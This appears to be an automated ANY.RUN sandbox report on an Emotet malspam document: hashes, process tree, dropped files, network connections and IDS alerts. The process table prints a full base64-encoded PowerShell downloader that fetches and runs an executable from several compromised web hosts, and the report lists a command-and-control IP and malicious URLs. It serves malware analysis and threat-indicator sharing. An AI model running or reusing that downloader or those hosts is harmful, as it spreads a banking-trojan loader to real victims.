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URL:

http://yckk.jp/wp/Document/xldx9t14nfy0_tsvzn6e2q5-165915257903688/

Full analysis: https://app.any.run/tasks/e3b3177a-9f88-4b15-8ba6-dc70906cadba
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: May 24, 2019, 15:35:37
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
loader
emotet
trojan
emotet-doc
Indicators:
MD5:

21BDCD818E4B481D4D5B8EDFD0600F98

SHA1:

5CD2BAC06CF25A3A9CAC027ED23CC69B158C83E1

SHA256:

FBCC33BEB61C48245C818114B90D1F4798BD40DDECC49C47043425D0FC08186D

SSDEEP:

3:N1KHw7gSb/eBV3k92UdKQbn:CKSBe2UJbn

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 441.exe (PID: 2132)
      • 441.exe (PID: 964)
      • soundser.exe (PID: 3880)
      • soundser.exe (PID: 2824)

    • Downloads executable files from the Internet

      • powershell.exe (PID: 2080)

    • EMOTET was detected

      • soundser.exe (PID: 3880)

    • Emotet process was detected

      • soundser.exe (PID: 2824)

    • Connects to CnC server

      • soundser.exe (PID: 3880)

  • SUSPICIOUS

    • Starts Microsoft Office Application

      • iexplore.exe (PID: 2840)
      • WINWORD.EXE (PID: 3092)

    • PowerShell script executed

      • powershell.exe (PID: 2080)

    • Application launched itself

      • WINWORD.EXE (PID: 3092)

    • Executed via WMI

      • powershell.exe (PID: 2080)

    • Creates files in the user directory

      • powershell.exe (PID: 2080)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2080)
      • 441.exe (PID: 964)

    • Starts itself from another location

      • 441.exe (PID: 964)

    • Connects to server without host name

      • soundser.exe (PID: 3880)

  • INFO

    • Creates files in the user directory

      • iexplore.exe (PID: 2840)
      • iexplore.exe (PID: 3556)
      • WINWORD.EXE (PID: 3092)

    • Application launched itself

      • iexplore.exe (PID: 2840)

    • Reads Internet Cache Settings

      • iexplore.exe (PID: 3556)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 3092)
      • WINWORD.EXE (PID: 3012)

    • Changes internet zones settings

      • iexplore.exe (PID: 2840)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
9
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start iexplore.exe iexplore.exe winword.exe no specs winword.exe no specs powershell.exe 441.exe no specs 441.exe #EMOTET soundser.exe no specs #EMOTET soundser.exe

Process information

PID
CMD
Path
Indicators
Parent process
2840"C:\Program Files\Internet Explorer\iexplore.exe" http://yckk.jp/wp/Document/xldx9t14nfy0_tsvzn6e2q5-165915257903688/C:\Program Files\Internet Explorer\iexplore.exe
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Internet Explorer
Exit code:
1
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3556"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2840 CREDAT:71937C:\Program Files\Internet Explorer\iexplore.exe
iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Internet Explorer
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3092"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\UEJN54FE\INC_97828660993US_May_24_2019[1].doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—iexplore.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3012"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /EmbeddingC:\Program Files\Microsoft Office\Office14\WINWORD.EXE—WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
LOW
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
2080powershell -nop -e JABwAEEAVwAzAF8AdwBKAGoAPQAnAEUAWABMAGIAdwB3AG0AJwA7ACQASAA3AFMAdgBVAHAAIAA9ACAAJwA0ADQAMQAnADsAJAB0ADgAdgBGAHIAawBuAFEAPQAnAFgAMwA2AHMAegBTAGMAbgAnADsAJABaAHAAQwBwADgAaQBCAEgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEgANwBTAHYAVQBwACsAJwAuAGUAeABlACcAOwAkAGEAWAB6AG4AQwBJAD0AJwBHAGgASgA0AEgASQAwADEAJwA7ACQAbQBEAEcAawBGAEYAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQBgAFQALgBXAGUAYgBgAEMATABpAEUAYABOAHQAOwAkAHEAYgB6AE4ATQB3AHcAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBtAGEAaQBzAG8AbgBtAGEAbgBvAHIALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AG4AUgBwAEYAWQBDAHcARgBmAC8AQABoAHQAdABwADoALwAvADQAZwBzAHQAYQByAHQAdQBwAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AdwBvAHQAZAByAG4AUABHAC8AQABoAHQAdABwADoALwAvAGIAbwBuAGUAcwBwAGUAYwBpAGEAbABpAHMAdABzAGkAbgBtAGEAbgBnAGEAbABvAHIAZQAuAGMAbwBtAC8AaQBtAGEAZwBlAHMALwBlAGgAYgBpAG0AOQBxAF8AcQBnAHIAZQA1AG0AYwBqAGYAOQAtADYAOQA2ADAAOAAvAEAAaAB0AHQAcAA6AC8ALwBoAG8AbgBkAGEAdABoAHUAZABvAC4AYwBvAG0ALwB3AHAALQBzAG4AYQBwAHMAaABvAHQAcwAvAGMAbgB3AG4AdwBzAHEAaABfADUANQBjADkAcQAtADkAMgA4ADcANAA2AC8AQABoAHQAdABwADoALwAvAGIAZQB0AGEAYgBhAG4AZwBsAGEAZABlAHMAaAAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AMgA0AHQAaABmAHMAdgBvAHkAXwB0AHkAMABpAHgAaABtAC0ANQA5AC8AJwAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAEoAWgBKADUAMQBzAD0AJwBZAGQAbQBqAFQAMAAnADsAZgBvAHIAZQBhAGMAaAAoACQAbAB3AGgAMgBpAG0AIABpAG4AIAAkAHEAYgB6AE4ATQB3AHcAKQB7AHQAcgB5AHsAJABtAEQARwBrAEYARgAuAEQAbwB3AG4AbABPAEEARABGAGkAbABFACgAJABsAHcAaAAyAGkAbQAsACAAJABaAHAAQwBwADgAaQBCAEgAKQA7ACQAUABpAEkASQBDAGkAPQAnAEgATgB6AGoAdQB3AHQAXwAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAFoAcABDAHAAOABpAEIASAApAC4ATABlAG4ARwB0AGgAIAAtAGcAZQAgADIAMAA4ADAAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAUwB0AEEAcgBUACgAJABaAHAAQwBwADgAaQBCAEgAKQA7ACQATgBIAG0AaQBHAHAAegA9ACcARgBsAE8ASwBIADEAMQAnADsAYgByAGUAYQBrADsAJABGAE8AbgA0AFAAdgBtADUAPQAnAGoAdgBuAGkASABoAGYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdwBDAGQATgA1ADkAegBoAD0AJwBXADYAOABPAFIANwA4ACcAC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2132"C:\Users\admin\441.exe" C:\Users\admin\441.exe—powershell.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
964--9eb38dafC:\Users\admin\441.exe
441.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
2824"C:\Users\admin\AppData\Local\soundser\soundser.exe"C:\Users\admin\AppData\Local\soundser\soundser.exe
441.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
0
3880--3ab57678C:\Users\admin\AppData\Local\soundser\soundser.exe
soundser.exe
User:
admin
Integrity Level:
MEDIUM
Total events
2 915
Read events
2 390
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
6
Text files
12
Unknown types
17

Dropped files

PID
Process
Filename
Type
2840iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\favicon[1].ico —
MD5:—
SHA256:—
2840iexplore.exeC:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico —
MD5:—
SHA256:—
2840iexplore.exeC:\Users\admin\AppData\Local\Temp\~DF0430CA7C36BC9FFE.TMP —
MD5:—
SHA256:—
3092WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR145B.tmp.cvr —
MD5:—
SHA256:—
3092WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_C3596F1E-4F84-4715-8E1E-376761ACDE5C.0\EB341F14.doc\:Zone.Identifier:$DATA —
MD5:—
SHA256:—
2840iexplore.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Recovery\Active\{9A445B40-7E39-11E9-B63D-5254004A04AF}.datbinary
MD5:3B6E0F480BF19E24154AC48F7DA94033
SHA256:56A6A692A87C61F3A6194AC0AB809BBE8DDC0874EAA193284B554A79BD87815A
3556iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\index.datdat
MD5:A135F006EC59AA36B83AF157B85156F8
SHA256:605EF203613902A1ABCEB11122C47304CA1923E1ED84515BA9E126939C250AD9
3012WINWORD.EXEC:\Users\admin\AppData\Local\Temp\OICE_C3596F1E-4F84-4715-8E1E-376761ACDE5C.0\mso1D44.tmpcompressed
MD5:DAD099A388D7E9D462E75EB4C4DDCB8B
SHA256:9C2DE561944F9BD68B5409239B50D14FC8419F0899B8B7E61C47CE53641F5921
3092WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:46C7266C0EF1142D62892FF97425AC04
SHA256:63D1B0AFDCD0E4991F1108F1876704A236B75D04ACDFBE7FD6E8DCCE77989D02
3556iexplore.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Cookies\Low\admin@yckk[1].txttext
MD5:E6CDD8A593A64B2640BE873C79C17C0A
SHA256:74DA0E80483B5B369A5E3364DF2705099E10CBF4AFFFE3F6153F5A692E6AFAAB
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
4
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3880
soundser.exe
POST
—
76.86.20.103:80
http://76.86.20.103/cookies/
US
—
—
malicious
2080
powershell.exe
GET
200
138.197.32.141:80
http://www.maisonmanor.com/wp-content/unRpFYCwFf/
US
executable
74.0 Kb
suspicious
3556
iexplore.exe
GET
200
219.94.128.28:80
http://yckk.jp/wp/Document/xldx9t14nfy0_tsvzn6e2q5-165915257903688/
JP
document
68.0 Kb
suspicious
2840
iexplore.exe
GET
200
204.79.197.200:80
http://www.bing.com/favicon.ico
US
image
237 b
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2840
iexplore.exe
204.79.197.200:80
www.bing.com
Microsoft Corporation
US
whitelisted
3556
iexplore.exe
219.94.128.28:80
yckk.jp
SAKURA Internet Inc.
JP
suspicious
2080
powershell.exe
138.197.32.141:80
www.maisonmanor.com
Digital Ocean, Inc.
US
suspicious
3880
soundser.exe
76.86.20.103:80
—
Time Warner Cable Internet LLC
US
malicious

DNS requests

Domain
IP
Reputation
yckk.jp
  • 219.94.128.28
suspicious
www.bing.com
  • 204.79.197.200
  • 13.107.21.200
whitelisted
www.maisonmanor.com
  • 138.197.32.141
suspicious

Threats

PID
Process
Class
Message
3556
iexplore.exe
Potential Corporate Privacy Violation
ET POLICY Office Document Download Containing AutoOpen Macro
2080
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2080
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2080
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3880
soundser.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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Reports
http://yckk.jp/wp/Document/xldx9t14nfy0_tsvzn6e2q5-165915257903688/